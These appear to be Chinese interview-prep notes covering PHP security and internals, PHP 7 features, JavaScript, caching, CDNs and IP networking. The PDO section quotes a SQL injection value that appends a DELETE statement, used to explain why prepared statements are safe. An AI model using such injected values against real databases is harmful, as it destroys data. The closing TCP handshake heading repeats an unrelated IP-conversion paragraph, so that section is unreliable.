Session.cookie_httponly
其餘更詳細的介紹:
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
https://wps2015.org/drops/drops/PHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93.html
文件上傳 PHP 腳本
原文連接
1、原理
一些web應用程序中容許上傳圖片,文本或者其餘資源到指定的位置。
文件上傳漏洞就是利用網頁代碼中的文件上傳路徑變量過濾不嚴將可執行的文件上傳到一個到服務器中,再經過URL去訪問以執行惡意代碼。
開源中國一篇舉例豐富的文章
eval 函數執行腳本
eval()函數中的eval是evaluate的簡稱,這個函數的做用就是把一段字符串看成PHP語句來執行,通常狀況下不建議使用容易被黑客利用。
關於eval()的返回值通俗說法:執行語句中有return,且return不在函數裏面,則返回Return後面的值,不然返回null。
額外文章
disable_functions 關閉高危函數
見上面「禁用mysql_系函數」
FPM 獨立用戶與組,給每一個目錄特定權限
涉及linux服務器相關,先附文章
基礎https://blog.csdn.net/u011670590/article/details/53506192
https://blog.csdn.net/keyunq/article/details/51613125
https://www.cnblogs.com/52php/p/6224825.html
瞭解 Hash 與 Encrypt 區別
簡書連接
加密(Encrypt)
加密的概念:簡單來講就是一組含有參數k的變換E。信息m經過變換E獲得c = E(m)。原始信息m爲明文,經過變換獲得的信息c爲密文。從明文獲得密文的過程叫作加密,變換E爲加密算法,參數k稱做祕鑰。同一個加密算法,能夠取不一樣的密鑰,得出不一樣的加密結果。從密文c恢復明文m的過程稱做解密,解密算法D是加密算法E的逆運算。解密算法也有參數,稱做解密算法的祕鑰。
加密的方式:私鑰密碼(對稱加密)和公鑰密碼(非對稱加密)。
哈希(Hash)
哈希與加密是不一樣的,歸納來講,哈希(Hash)是將目標文本轉換成具備相同長度的、不可逆的雜湊字符串(或叫作消息摘要),而加密(Encrypt)是將目標文本轉換成具備不一樣長度的、可逆的密文。
二者有以下重要區別:
一、哈希算法每每被設計成生成具備相同長度的文本,而加密算法生成的文本長度與明文自己的長度有關。
二、哈希算法是不可逆的,而加密算法是可逆的。
這裏重點強調一下Hash和Encrypt的主要區別,由於接下來的文章要用到這兩個概念,這裏對此不作深究。詳細介紹可看我下面參考的一篇文章哈希(Hash)與加密(Encrypt)的基本原理、區別及工程應用。
=============================高階篇=============================
PHP 數組底層實現 (HashTable + Linked list)
傳播很廣的一篇介紹文章
Copy on write 原理,什麼時候 GC
解釋:
在複製一個對象的時候並非真正的把原先的對象複製到內存的另一個位置上,而是在新對象的內存映射表中設置一個指針,指向源對象的位置,並把那塊內存的Copy-On-Write位設置爲1.
這樣,在對新的對象執行讀操做的時候,內存數據不發生任何變更,直接執行讀操做;而在對新的對象執行寫操做時,將真正的對象複製到新的內存地址中,並修改新對象的內存映射表指向這個新的位置,並在新的內存位置上執行寫操做。
這個技術須要跟虛擬內存和分頁同時使用,好處就是在執行復制操做時由於不是真正的內存複製,而只是創建了一個指針,於是大大提升效率。但這不是一直成立的,若是在複製新對象以後,大部分對象都還須要繼續進行寫操做會產生大量的分頁錯誤,得不償失。因此COW高效的狀況只是在複製新對象以後,在一小部分的內存分頁上進行寫操做。
GC指的是Garbage Collection(垃圾回收):無資料
原文連接
PHP 進程模型,進程通信方式,進程線程區別
進程模型資料很少,只找到這一篇:
https://jiachuhuang.github.io/2017/07/06/PHP-FPM%E8%BF%9B%E7%A8%8B%E6%A8%A1%E5%9E%8B/
進程通信方式:
Sf原文
pcntl擴展:主要的進程擴展,完成進程的建立,子進程的建立,也是當前使用比較廣的多進程。
posix擴展:完成posix兼容機通用api,如獲取進程id,殺死進程等。主要依賴 IEEE 1003.1 (POSIX.1) ,兼容posix
sysvmsg擴展:實現system v方式的進程間通訊之消息隊列。
sysvsem擴展:實現system v方式的信號量。
sysvshm擴展:實現system v方式的共享內存。
sockets擴展:實現socket通訊,跨機器,跨平臺。
php也有一些封裝好的異步進程處理框架:例如swoole,workman等
這篇簡書文章有幾個例子:https://www.jianshu.com/p/08bcf724196b
這個好像例子更好看一點:
https://blog.stroller.vip/php/phpjin-cheng-tong-xun-de-ji-zhong-fang-shi.html
進程線程區別:
從邏輯角度來看,多線程的意義在於一個應用程序中,有多個執行部分能夠同時執行。但操做系統並無將多個線程看作多個獨立的應用,來實現進程的調度和管理以及資源分配。這就是進程和線程的重要區別。
進程是具備必定獨立功能的程序關於某個數據集合上的一次運行活動,進程是系統進行資源分配和調度的一個獨立單位.
線程是進程的一個實體,是CPU調度和分派的基本單位,它是比進程更小的能獨立運行的基本單位.線程本身基本上不擁有系統資源,只擁有一點在運行中必不可少的資源(如程序計數器,一組寄存器和棧),可是它可與同屬一個進程的其餘的線程共享進程所擁有的所有資源.
一個線程能夠建立和撤銷另外一個線程;同一個進程中的多個線程之間能夠併發執。
一個程序至少有一個進程,一個進程至少有一個線程,進程和線程的主要差異在於它們是不一樣的操做系統資源管理方式。進程有獨立的地址空間,一個進程崩潰後,在保護模式下不會對其它進程產生影響,而線程只是一個進程中的不一樣執行路徑。線程有本身的堆棧和局部變量,但線程之間沒有單獨的地址空間,一個線程死掉就等於整個進程死掉,因此多進程的程序要比多線程的程序健壯,但在進程切換時,耗費資源較大,效率要差一些。但對於一些要求同時進行而且又要共享某些變量的併發操做,只能用線程,不能用進程.
簡書原文連接
進程和線程的關係
進程就像地主,有土地(系統資源),線程就像佃戶(線程,執行種地流程)。每一個地主(進程)只要有一個幹活的佃戶(線程)。
進程-資源分配的最小單位,相對健壯,崩潰通常不影響其餘進程,可是切換進程時耗費資源,效率差些。
線程-程序執行的最小單位,沒有獨立的地址空間,一個線程死掉可能整個進程就死掉,可是節省資源,切換效率高。
php編程常見的進程和線程
一、在web應用中,咱們每次訪問php,就創建一個PHP進程,固然也會創建至少一個PHP線程。
二、PHP使用pcntl來進行多進程編程
三、PHP中使用pthreads來進行多線程編程
四、nginx的每一個進程只有一個線程,每一個線程能夠處理多個客戶端的訪問
五、php-fpm使用多進程模型,每一個進程只有一個線程,每一個線程只能處理一個客戶端訪問。
六、apache可能使用多進程模型,也可能使用多線程模型,取決於使用哪一種SAPI.
yield 核心原理是什麼
見上文,此處未找到關於原理的資料,只有一些如何使用的片面教程
PDO prepare 原理
一篇大佬的文章:http://zhangxugg-163-com.iteye.com/blog/1835721,其餘資料大多都參考了此篇
下面摘自知乎https://www.zhihu.com/question/23922206
事情是這樣的:你傳給prepare的語句,被數據庫服務器解析和編譯。你經過 ? 或者帶名字的參數 :name 告訴數據庫引擎須要傳入的點。而後當你執行execute時,準備好的語句就會和參數結合起來了。
重點來了,參數是和編譯過的語句結合的,而非與SQL字符串結合。SQL注入的原理就是混淆參數和語句(騙程序說是語句,其實本應該是參數)。因此,單獨發送SQL,而後再發送參數,輕輕楚楚,不會搞混。任何參數都會被固然字符串傳入(固然數據庫會作優化,可能字符串又變成了數字)。在上面的例子裏,若是$name變量是 'Sarah'; DELETE FROM employees ,結果就會是搜索 "'Sarah'; DELETE FROM employees", 而不會清空你的表。
還有一個好處:若是你要對同一個語句執行不少遍,這條SQL語句只會編譯一次。速度會有所提高。
準備語句能夠用來作動態查詢嗎?
準備語句只能用來準備參數,查詢的結構不能改變。
對於這些特殊場景,最好的辦法就是用白名單限制輸入。
PHP 7 與 PHP 5 有什麼區別
Csdn原文
一、php標量類型和返回類型聲明
#主要分爲兩種模式,強制性模式和嚴格模式
declare(strict_types=1)
#1表示嚴格類型校驗模式,做用於函數調用和返回語句;0表示弱類型校驗模式。
二、NULL合併運算符
$site = isset($_GET['site']) ? $_GET['site'] : 'wo';
#簡寫成
$site = $_GET['site'] ??'wo';
三、組合預算符
// 整型比較
print( 1 <=> 1);print(PHP_EOL);
print( 1 <=> 2);print(PHP_EOL);
print( 2 <=> 1);print(PHP_EOL);
print(PHP_EOL); // PHP_EOL 爲換行符
//結果:
0
-1
1
四、常量數組
// 使用 define 函數來定義數組
define('sites', [
'Google',
'Jser',
'Taobao'
]);
print(sites[1]);
五、匿名類
interface Logger {
public function log(string $msg);
}
class Application {
private $logger;
public function getLogger(): Logger {
return $this->logger;
}
public function setLogger(Logger $logger) {
$this->logger = $logger;
}
}
$app = new Application;
// 使用 new class 建立匿名類
$app->setLogger(new class implements Logger {
public function log(string $msg) {
print($msg);
}
});
$app->getLogger()->log("個人第一條日誌");
六、Closure::call()方法增長,意思向類綁定個匿名函數
<?php
class A {
private $x = 1;
}
// PHP 7 以前版本定義閉包函數代碼
$getXCB = function() {
return $this->x;
};
// 閉包函數綁定到類 A 上
$getX = $getXCB->bindTo(new A, 'A');
echo $getX();
print(PHP_EOL);
// PHP 7+ 代碼
$getX = function() {
return $this->x;
};
echo $getX->call(new A);
?>
七、CSPRNG(僞隨機數產生器)。
PHP 7 經過引入幾個 CSPRNG 函數提供一種簡單的機制來生成密碼學上強壯的隨機數。
random_bytes() - 加密生存被保護的僞隨機字符串。
random_int() - 加密生存被保護的僞隨機整數。
八、異常
PHP 7 異經常使用於向下兼容及加強舊的assert()函數。
九、use 語句改變
#能夠導入同一個namespace下的類簡寫
use some\namespace\{ClassA, ClassB, ClassC as C};
十、Session 選項
1.session_start()能夠定義數組
<?php
session_start([
'cache_limiter' => 'private',
'read_and_close' => true,
]);
?>
2.引入了一個新的php.ini設置(session.lazy_write),默認狀況下設置爲 true,意味着session數據只在發生變化時才寫入。
十一、PHP 7 移除的擴展
ereg
mssql
mysql
sybase_ct
爲何 PHP7 比 PHP5 性能提高了?
一、變量存儲字節減少,減小內存佔用,提高變量操做速度
二、改善數組結構,數組元素和hash映射表被分配在同一塊內存裏,下降了內存佔用、提高了 cpu 緩存命中率
三、改進了函數的調用機制,經過優化參數傳遞的環節,減小了一些指令,提升執行效率
Swoole 適用場景,協程實現方式
適用場景直接看官方手冊中附帶的案例演示吧,還挺多的:
https://wiki.swoole.com/wiki/page/p-case.html
關於協程的手冊中也有專門原理解釋了:
https://wiki.swoole.com/wiki/page/956.html
============================前端篇==========================================
原生獲取 DOM 節點,屬性
詳細原文連接簡單列舉常見的:
// 返回當前文檔中第一個類名爲 "myclass" 的元素 var el = document.querySelector(".myclass"); // 返回一個文檔中全部的class爲"note"或者 "alert"的div元素 var els = document.querySelectorAll("div.note, div.alert"); // 獲取元素 var el = document.getElementById('xxx'); var els = document.getElementsByClassName('highlight'); var els = document.getElementsByTagName('td'); // 獲取一個{name, value}的數組 var attrs = el.attributes; // 獲取、設置屬性 var c = el.getAttribute('class'); el.setAttribute('class', 'highlight'); // 判斷、移除屬性 el.hasAttribute('class'); el.removeAttribute('class'); // 是否有屬性設置 el.hasAttributes();
盒子模型
全部HTML元素能夠看做盒子,在CSS中,"box model"這一術語是用來設計和佈局時使用。CSS盒模型本質上是一個盒子,封裝周圍的HTML元素,它包括:邊距,邊框,填充,和實際內容。盒模型容許咱們在其它元素和周圍元素邊框之間的空間放置元素。
CSS 文件、style 標籤、行內 style 屬性優先級
1.CSS 指層疊樣式表 (Cascading Style Sheets);樣式定義如何顯示 HTML 元素;樣式一般存儲在樣式表中;把樣式添加到 HTML 4.0 中,是爲了解決內容與表現分離的問題;外部樣式表能夠極大提升工做效率;外部樣式表一般存儲在 CSS 文件中;多個樣式定義可層疊爲一。
2.<style> 標籤用於爲 HTML 文檔定義樣式信息。(稱爲內嵌式css)
在 style 中,您能夠規定在瀏覽器中如何呈現 HTML 文檔。
type 屬性是必需的,定義 style 元素的內容。惟一可能的值是 "text/css"。
style 元素位於 head 部分中。
3.style 屬性規定元素的行內樣式(inline style)
style 屬性將覆蓋任何全局的樣式設定,例如在 <style> 標籤或在外部樣式表中規定的樣式。
優先級:行內式 > (內嵌、連接、導入在同一個header裏,離相應的代碼近的優先級高)
HTML 與 JS 運行順序(頁面 JS 從上到下)
原文連接
js放在head中會當即執行,阻塞後續的資源下載與執行。由於js有可能會修改dom,若是不阻塞後續的資源下載,dom的操做順序不可控。
js的執行依賴前面的樣式。即只有前面的樣式所有下載完成後纔會執行js,可是此時外鏈css和外鏈js是並行下載的。
外鏈的js若是含有defer="true"屬性,將會並行加載js,到頁面所有加載完成後纔會執行,會按順序執行。
外鏈的js若是含有async="true"屬性,將不會依賴於任何js和css的執行,此js下載完成後馬上執行,不保證按照書寫的順序執行。由於async="true"屬性會告訴瀏覽器,js不會修改dom和樣式,故沒必要依賴其它的js和css。
JS 數組操做
某博客介紹
Runoob文檔(同w3c)
類型判斷
一、typeof
typeof 是一個操做符,其右側跟一個一元表達式,並返回這個表達式的數據類型。返回的結果用該類型的字符串(全小寫字母)形式表示,包括如下 7 種:number、boolean、symbol、string、object、undefined、function 等。
二、instanceof
instanceof 是用來判斷 A 是否爲 B 的實例,表達式爲:A instanceof B,若是 A 是 B 的實例,則返回 true,不然返回 false。 在這裏須要特別注意的是:instanceof 檢測的是原型。
三、constructor
當一個函數 F被定義時,JS引擎會爲F添加 prototype 原型,而後再在 prototype上添加一個 constructor 屬性,並讓其指向 F 的引用
四、toString
toString() 是 Object 的原型方法,調用該方法,默認返回當前對象的 [[Class]] 。這是一個內部屬性,其格式爲 [object Xxx] ,其中 Xxx 就是對象的類型。
對於 Object 對象,直接調用 toString() 就能返回 [object Object] 。而對於其餘對象,則須要經過 call / apply 來調用才能返回正確的類型信息。
原文有舉例和分析
this 做用域
原文連接有案例
全局的函數調用,this就表明全局對象window;
函數做爲對象的方法調用,this指向的是這個上級對象,即調用方法的對象;
構造函數的調用中的this指向新建立的對象自己;
apply/call調用時的this,apply和call都是爲了改變函數體內部的this指向
再詳細一點的分析
.map() 與 this 具體使用場景分析
map() 方法返回一個由原數組中的每一個元素調用一個指定方法後的返回值組成的新數組。在實際應用場景中,在便利出的數據須要處理的時候用到map比較多一些,例如商品列表數據回來以後進行展現須要進行另外的操做時,如此不會改變原數組,即可實現效果
This基本使用場景就對應上一個問題的四種狀況了,網上大都是這個意思,並無具體舉例類型的場景說明。
Cookie 讀寫
菜鳥教程上面的單獨介紹
JavaScript 能夠使用 document.cookie 屬性來建立 、讀取、及刪除 cookie。
JavaScript 中,建立 cookie 以下所示:
document.cookie="username=John Doe";
您還能夠爲 cookie 添加一個過時時間(以 UTC 或 GMT 時間)。默認狀況下,cookie 在瀏覽器關閉時刪除:
document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";
您能夠使用 path 參數告訴瀏覽器 cookie 的路徑。默認狀況下,cookie 屬於當前頁面。
document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";
在 JavaScript 中, 能夠使用如下代碼來讀取 cookie:
var x = document.cookie;
Note document.cookie 將以字符串的方式返回全部的 cookie,類型格式: cookie1=value; cookie2=value; cookie3=value;
在 JavaScript 中,修改 cookie 相似於建立 cookie,以下所示:
document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";
舊的 cookie 將被覆蓋。
使用 JavaScript 刪除 Cookie
刪除 cookie 很是簡單。您只須要設置 expires 參數爲之前的時間便可,以下所示,設置爲 Thu, 01 Jan 1970 00:00:00 GMT:
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
注意,當您刪除時沒必要指定 cookie 的值。
網上有封裝的函數
寫cookie: function setCookie(name,value) { var Days = 30; var exp = new Date(); exp.setTime(exp.getTime() + Days*24*60*60*1000); document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString(); }
讀取cookie:
function getCookie(name) { var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)"); if(arr=document.cookie.match(reg)) return unescape(arr[2]); else return null; }
刪除cookie:
function delCookie(name) { var exp = new Date(); exp.setTime(exp.getTime() - 1); var cval=getCookie(name); if(cval!=null) document.cookie= name + "="+cval+";expires="+exp.toGMTString(); }
JQuery 操做
JQuery很是流行,因此網上大量各類文檔,不在詳細說明
菜鳥教程
網友教程
w3c教程
簡單選擇器舉例代碼:(頁面中全部p標籤內容單擊即會消失)
$(document).ready(function(){
$("p").click(function(){
$(this).hide();
});
});
Ajax 請求(同步、異步區別)隨機數禁止緩存
$.ajax({ type: "post", url: "path", cache:false, async:false, dataType: ($.browser.msie) ? "text" : "xml", success: function(xmlobj){ } });
sync默認是true:即爲異步方式,$.ajax執行後,會繼續執行ajax後面的腳本,直到服務器端返回數據後,觸發$.ajax裏的success方法
若要將其設置爲false,則全部的請求均爲同步請求,在沒有返回值以前,同步請求將鎖住瀏覽器,用戶其它操做必須等待請求完成才能夠
稍全面的分析
通俗易懂的理解
Bootstrap 有什麼好處
原文連接
1.跨設備,跨瀏覽器
能夠兼容全部現代瀏覽器
2.響應佈局
bootstrap提供了一套響應式、移動設備優先的流式柵格系統。它能夠根據用戶屏幕尺寸調整頁面,使其在各個尺寸上都表現良好
3.CSS模塊化
bootstrap預先定義了不少CSS類,使用的時候直接給class賦予對應的類名便可,如text-left,text-align,.table等
4.內置JavaScript插件
Bootstrap提供了不少實用性的JQuery插件,這些插件方便開發者實現WEB中各類常規特效。因此Bootstrap依賴於JQuery
5.豐富的組件
bootstrap提供了實用性很強的組件,包括:導航,標籤,工具條,按鈕等供開發者使用
跨域請求 N 種解決方案
原文連接
摘要:
document.domain + iframe (只有在主域相同的時候才能使用該方法)
動態建立script
location.hash + iframe
window.name + iframe
postMessage(HTML5中的XMLHttpRequest Level 2中的API)
CORS,背後的思想就是使用自定義的HTTP頭部讓瀏覽器與服務器進行溝通,從而決定請求或響應是應該成功,仍是應該失敗。
JSONP,包含兩部分:回調函數和數據。回調函數是當響應到來時要放在當前頁面被調用的函數。數據就是傳入回調函數中的json數據,也就是回調函數的參數了。
web sockets,是一種瀏覽器的API,它的目標是在一個單獨的持久鏈接上提供全雙工、雙向通訊。(同源策略對web sockets不適用)
新技術(瞭解)
ES6
什麼是ES6(《ES6標準入門》電子書)
新特性介紹:
變量聲明const和let
2.字符串
函數
拓展的對象功能
更方便的數據訪問--解構
Spread Operator 展開運算符
import 和 export
Promise
Generators
模塊化
不是很懂,多找幾篇文章稍微瞭解一下
Csdn博客
簡書文章
思否文章
打包
1、web前端打包工具是什麼?有哪些種類?
它是一種將前端代碼進行轉換,壓縮以及合併等操做的程序工具。目前常見的有grunt,webpack等。
2、打包工具做用是什麼?存在的意義?有哪些好處?
web前端打包工具,它能將咱們前端人員寫得less,sass等編譯成css.將多個js文件合併壓縮成一個js文件。它的做用就是經過將代碼編譯、壓縮,合併等操做,來減小代碼體積,減小網絡請求。以及方便在服務器上運行。目前,會使用web前端打包工具是現代前端人員必備技能。
Webpack細說
構建工具
構建工具就是用來讓咱們再也不作機械重複的事情,解放咱們的雙手的
簡書文章簡介
vue、react、webpack、
Vue: (讀音 /vjuː/,相似於 view) 是一套用於構建用戶界面的漸進式框架。與其它大型框架不一樣的是,Vue 被設計爲能夠自底向上逐層應用。Vue 的核心庫只關注視圖層,不只易於上手,還便於與第三方庫或既有項目整合。另外一方面,當與現代化的工具鏈以及各類支持類庫結合使用時,Vue 也徹底可以爲複雜的單頁應用提供驅動。官方文檔
React 是一個用於構建用戶界面的 JAVASCRIPT 庫。React主要用於構建UI,不少人認爲 React 是 MVC 中的 V(視圖)。React 起源於 Facebook 的內部項目,用來架設 Instagram 的網站,並於 2013 年 5 月開源。React 擁有較高的性能,代碼邏輯很是簡單,愈來愈多的人已開始關注和使用它。官方文檔
React 特色
1.聲明式設計 −React採用聲明範式,能夠輕鬆描述應用。
2.高效 −React經過對DOM的模擬,最大限度地減小與DOM的交互。
3.靈活 −React能夠與已知的庫或框架很好地配合。
4.JSX − JSX 是 JavaScript 語法的擴展。React 開發不必定使用 JSX ,但咱們建議使用它。
5.組件 − 經過 React 構建組件,使得代碼更加容易獲得複用,可以很好的應用在大項目的開發中。
6.單向響應的數據流 − React 實現了單向響應的數據流,從而減小了重複代碼,這也是它爲何比傳統數據綁定更簡單。
Webpack是前端打包工具,上面「打包」裏已經提到了。
前端 mvc
mvc的含義在前端和後端是大體相同的,都是控制器-數據模型-視圖,網上資料提到Angular.js框架採用了mvc模式,一個簡介
另:csdn一個網友的理解
M:是單據類型,就像不少財務系統,有不少種單據類型,如收銀,貨款,若是給每個單據都設置一種模板,這樣未免太過死板;因此,若是爲有着相同功能的單據設置基類模板,即便單據間有些許不一樣,只要在本身的單據中添加便可,這樣,不只大大減小了單據開發的工做量,並且,對於後期有相同功能的修改,也是很方便的。
V:web視圖,視圖中的元素,都有着功能模板的各個板塊標識,如,文本,數字,日期,這樣,方便控制器的控制。
C:指的是js功能控制,也許,有些人認爲,後端把全部的數據打包處理好,而後下發給前端,前端直接進行渲染,而後若是有須要,前端把全部的數據直接打包,給回後端,讓後端去處理一大堆原始數據,這樣會很方便;可是,這僅僅只是片面的角度;隨着時代的發展,瀏覽器的不斷更新,性能也愈來愈好,若是單單依賴後端對數據的處理,那實在是太浪費當代瀏覽器的高性能,也太看低js的潛力。
簡書一篇文章
優化
瀏覽器單域名併發數限制
瀏覽器的併發請求數目限制是針對同一域名的。意即,同一時間針對同一域名下的請求有必定數量限制。超過限制數目的請求會被阻塞,這就是爲何會有zhimg.com, http://twimg.com 之類域名的緣由。
靜態資源緩存 304 (If-Modified-Since 以及 Etag 原理)
Csdn博客
Web靜態資源緩存及優化
對於頁面中靜態資源(html/js/css/img/webfont),理想中的效果:
1. 頁面以最快的速度獲取到全部必須靜態資源,渲染飛快;
2. 服務器上靜態資源未更新時再次訪問不請求服務器;
3. 服務器上靜態資源更新時請求服務器最新資源,加載又飛快。
總結下來也就是2個指標:
· 靜態資源加載速度
· 頁面渲染速度
靜態資源加載速度引出了咱們今天的主題,由於最直接的方式就是將靜態資源進行緩存。頁面渲染速度創建在資源加載速度之上,但不一樣資源類型的加載順序和時機也會對其產生影響,因此也留給了咱們更多的優化空間。固然除了速度,緩存還有另外2大功效,減小用戶請求的帶寬和減小服務器壓力。
原文連接
if-modified-since 和 last-modified:
當apache接收到一個資源請求(假設是用戶是第一次訪問,沒有任何緩存), 服務器返回資源的同時,還會發送一個last-modified的http響應頭, last-modified響應頭的內容值是該資源在服務器上最後修改的時間.瀏覽器接受到這個http頭後,會把其內容值和資源同時保存起來.當用戶第二發送資源請求(假設這裏expire沒有生效或者已通過期), 瀏覽器在本地找到了一個相同的資源,可是不能肯定該資源是否和服務器上的同樣(有可能在兩次訪問期間,服務器上的資源已經被修改過),此時瀏覽器發送請求的時候,請求頭內會附帶一個if-modified-since的請求頭, 這個頭部的內容就是上一次last-modified返回的值, 服務器把這個頭的值和請求資源的最後修改時間對比,若是兩個值相同,則認爲資源沒有修改,將會返回304,讓瀏覽器使用本地資源.不然服務器將返回資源,並且返回200狀態。
if-none-match 和 etag:
其實這兩個頭部和if-modified-since, last-modified的工做原理是同樣的, if-none-match做爲請求頭, etag做爲響應頭.既然工做原理同樣, 爲何etag這對頭部會出現呢?緣由在於, last-modified請求頭的內容是以文件最後修改的時間做爲對比的,可是unix系統裏面, 文件修改的時間只保存到了秒. 若是某些應用內存在1秒內對文件作了屢次修改,這樣last-modified是不能完成比較功能的.因此要引入一個新的機制(緣由可能不止這一個);etag的值通常由3個數值組成,資源的inode值, 最後修改時間, 資源大小,以16進制組成一個字符串, 例如:1a-182b-10f; 但這個格式不是固定的, 只要保證該值的惟一性,但不限格式.
多個小圖標合併使用 position 定位技術 減小請求
這個應該屬於css基礎難度,叫雪碧圖,很常見的優化手法吧
首先將小圖片整合到一張大的圖片上,而後根據具體圖標在大圖上的位置,給背景定位:background-position:-8px -95px;
詳細介紹
靜態資源合爲單次請求 並壓縮
Csdn原文連接(如何將靜態資源合爲單次請求)
靜態資源合併請求的要求?
1. 存放靜態資源文件的服務器必須使用ngnix做爲web服務器(目前只有ngnix支持靜態資源合併請求)。
2. 合併請求的靜態資源文件必須在同一個靜態資源服務器上。
靜態資源合併請求的方法?
第一步: 將須要合併請求的幾個靜態資源文件的公共域名和公共路徑做爲公共前綴,例如:http://res.suning.cn/project/shp/js/passport.js
http://res.suning.cn/project/shp/pc/js/pc_checkids.js
http://res.suning.cn/project/shp/pc/js/SFE.dialog.js
公共前綴爲:http://res.suning.cn/project/shp/
第二步: 在公共前綴後加上兩個問號:http://res.suning.cn/project/shp/??/
第三步:將須要合併的靜態資源文件的名稱(包括後綴),添加到公共前綴後面,多個之間用半角逗號分隔,在最終結尾處加上靜態資源文件版本號:
http://res.suning.cn/project/shp/??js/passport.js,pc/js/pc_checkids.js,pc/js/SFE.dialog.js?v=2016022401
關於靜態資源的壓縮,看網上資料好多都是利用gulp(基於流的前端自動化構建工具)實現,幾篇教程:
慕課筆記
Csdn轉載不少的一篇
Csdn另一篇
CDN
CDN的全稱是Content Delivery Network,即內容分發網絡。CDN的基本原理是普遍採用各類緩存服務器,將這些緩存服務器分佈到用戶訪問相對集中的地區或網絡中,在用戶訪問網站時,利用全局負載技術將用戶的訪問指向距離最近的工做正常的緩存服務器上,由緩存服務器直接響應用戶請求。
一篇前端使用cdn的簡介
若是是本身的靜態資源須要使用cdn加速,則通常須要付費使用主機商如阿里雲提供的cdn加速服務,這裏以阿里雲cdn爲例,放阿里雲的官方使用教程:https://help.aliyun.com/document_detail/27112.html
靜態資源延遲加載技術、預加載技術
延遲加載:資料顯示延遲加載即常說的懶加載,例如當頁面圖片不少時候,採用所見即所得方式,當頁面滾動到圖片位置時候,再進行加載圖片。
預加載:與延遲加載整好相反,在圖片未出如今視口中的時候,用new image方式加載圖片,載入緩存。在使用圖片時候直接從緩存中加載。
好像兩種技術更多的是應用於前端的圖片資源,css和js資源應該也同理吧。
這裏有一篇詳細實現的示例代碼詳解:csdn博客
keep-alive
什麼是keep-alive:
在http早期,每一個http請求都要求打開一個tpc socket鏈接,而且使用一次以後就斷開這個tcp鏈接。使用keep-alive能夠改善這種狀態,即在一次TCP鏈接中能夠持續發送多份數據而不會斷開鏈接。經過使用keep-alive機制,能夠減小tcp鏈接創建次數,也意味着能夠減小TIME_WAIT狀態鏈接,以此提升性能和提升httpd服務器的吞吐率(更少的tcp鏈接意味着更少的系統內核調用,socket的accept()和close()調用)。可是,keep-alive並非免費的午飯,長時間的tcp鏈接容易致使系統資源無效佔用。配置不當的keep-alive,有時比重複利用鏈接帶來的損失還更大。因此,正確地設置keep-alive timeout時間很是重要。
Apache開啓關閉Keep-alive(修改httpd_default.config)
Linux下keep-alive默認不開啓,開啓方法
Nginx開啓關閉keep-alive
Vue的keep-alive使用教程
CSS 在頭部,JS 在尾部的優化(原理)
如今瀏覽器爲了更好的用戶體驗,渲染引擎會嘗試儘快在屏幕上顯示內容,它不會等到全部的HTMl元素解析以後在構建和佈局dom樹,因此部份內容將被解析並顯示。也就是說瀏覽器可以渲染不完整的dom樹和cssom,儘快的減小白屏的時間。假如咱們將js放在header,js將阻塞解析dom,dom的內容會影響到dom樹的繪製,致使dom繪製延後。因此說咱們會將js放在後面,以減小dom繪製的時間,可是不會減小DOMContentLoaded被觸發的時間。
網絡篇
IP 地址轉 INT
php提供了兩個函數能夠使ip和int互相轉換:ip2long()和long2ip(),系統函數小bug:ip某段加個前導0就會致使轉換結果錯誤,具體算法原理(第一段乘以256的三次方,第二段乘以256的平方,第三段乘以25六、最後總和)查看如下連接介紹:
這裏有兩種算法舉例
這裏是一種不一樣的思路
192.168.0.1/16 是什麼意思
學過計算機網絡課程的應該不難理解。
192.168.0.0/16表示網絡碼佔16位,也就是說該網絡上能夠有65534個主機(2^16-2)IP範圍:192.168.0.1~192.168.255.254,192.168.255.255是廣播地址,不能被主機使用。設置IP地址的時候:192.168.x.y 子網掩碼:255.255.0.0
DNS 主要做用是什麼?
通俗的講,我以爲dns就是ip和域名之間的翻譯器,學名叫域名解析器,下面是術語解釋:
DNS是域名系統 (Domain Name System) 的縮寫,該系統用於命名組織到域層次結構中的計算機和網絡服務。DNS 命名用於 Internet 等 TCP/IP 網絡中,經過用戶友好的名稱查找計算機和服務。當用戶在應用程序中輸入 DNS 名稱時,DNS 服務能夠將此名稱解析爲與之相關的其餘信息,如 IP 地址。由於,你在上網時輸入的網址,是經過域名解析系解析找到相對應的IP地址,這樣才能上網。其實,域名的最終指向是IP。
IPv4 與 v6 區別
與IPV4相比,IPV6具備如下幾個優點:
1.IPv6具備更大的地址空間。IPv4中規定IP地址長度爲32,最大地址個數爲2^32;而IPv6中IP地址的長度爲128,即最大地址個數爲2^128。與32位地址空間相比,其地址空間增長了2^128-2^32個。
2.IPv6使用更小的路由表。IPv6的地址分配一開始就遵循聚類(Aggregation)的原則,這使得路由器能在路由表中用一條記錄(Entry)表示一片子網,大大減少了路由器中路由表的長度,提升了路由器轉發數據包的速度。
3.IPv6增長了加強的組播(Multicast)支持以及對流的控制(Flow Control),這使得網絡上的多媒體應用有了長足發展的機會,爲服務質量(QoS,Quality of Service)控制提供了良好的網絡平臺。
4.IPv6加入了對自動配置(Auto Configuration)的支持。這是對DHCP協議的改進和擴展,使得網絡(尤爲是局域網)的管理更加方便和快捷。
5.IPv6具備更高的安全性。在使用IPv6網絡中用戶能夠對網絡層的數據進行加密並對IP報文進行校驗,在IPV6中的加密與鑑別選項提供了分組的保密性與完整性。極大的加強了網絡的安全性。
6.容許擴充。若是新的技術或應用須要時,IPV6容許協議進行擴充。
7.更好的頭部格式。IPV6使用新的頭部格式,其選項與基本頭部分開,若是須要,可將選項插入到基本頭部與上層數據之間。這就簡化和加速了路由選擇過程,由於大多數的選項不須要由路由選擇。
8.新的選項。IPV6有一些新的選項來實現附加的功能。
網絡編程篇
TCP 三次握手流程
php提供了兩個函數能夠使ip和int互相轉換:ip2long()和long2ip(),系統函數小bug:ip某段加個前導0就會致使轉換結果錯誤,具體算法原理(第一段乘以256的三次方,第二段乘以256的平方,第三段乘以25六、最後總和)查看如下連接介紹:
